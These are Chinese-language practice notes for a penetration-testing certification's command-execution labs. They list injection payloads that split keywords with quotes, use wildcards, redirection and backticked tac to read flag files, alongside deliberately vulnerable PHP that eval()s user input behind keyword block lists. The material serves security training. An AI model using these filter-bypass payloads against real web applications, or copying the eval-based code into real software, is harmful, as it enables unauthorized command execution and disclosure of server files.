NISP-PTE基础实操——命令执行
模拟1
127.0.0.1|ca''t ../key.flag
查看源代码:
模拟2
127.0.0.1|ca''t /flag.php
模拟3
第一题
第二题
模拟4
查看源代码
127.0.0.1|c"a"t /nisp92234/flag.ph*
模拟5
;cat</flag.php
模拟6
/?cmd=echo%20`tac flag.php`;
模拟7
flag_nisp_033bbc
模拟8
<?php
# flag in flag.php
include("flag.php");
if(isset($_GET['cmd'])){$cmd = $_GET['cmd'];if(!preg_match("/system|exec|highlight|show_source|include|passthru|echo|print_r|cat|head|tail|more|less/i",$cmd)){if(preg_match("/flag/i",$cmd)){eval($cmd);} else {die("HACK!!");}} else {die("HACK!!!");}
} else {highlight_file(__FILE__);
}
?>
模拟9
<?php
# flag in flag.php
include("flag.php");
if(isset($_GET['cmd'])){$cmd = $_GET['cmd'];if(!preg_match("/system|exec|highlight|show_source|include|passthru|php|flag|print_r|cat|head|tail|more|less/i",$cmd)){if(preg_match("/\?|\*/i",$cmd)){eval($cmd);} else {die("HACK!!");}} else {die("HACK!!!");}
} else {highlight_file(__FILE__);
}
?>
/?cmd=echo%20`tac%20fla?.???`;
模拟10
<?php
# flag in flag.php
include("flag.php");
if(isset($_GET['cmd'])){$cmd = $_GET['cmd'];if(!preg_match("/system|exec|highlight|show_source|include|passthru|php|flag|print_r|cat|head|tail|more|less|;/i",$cmd)){if(preg_match("/\?|>/i",$cmd)){eval($cmd);} else {die("HACK!!");}} else {die("HACK!!!");}
} else {highlight_file(__FILE__);
}
?>
/?cmd=echo%20`tac%20fla*.???`?>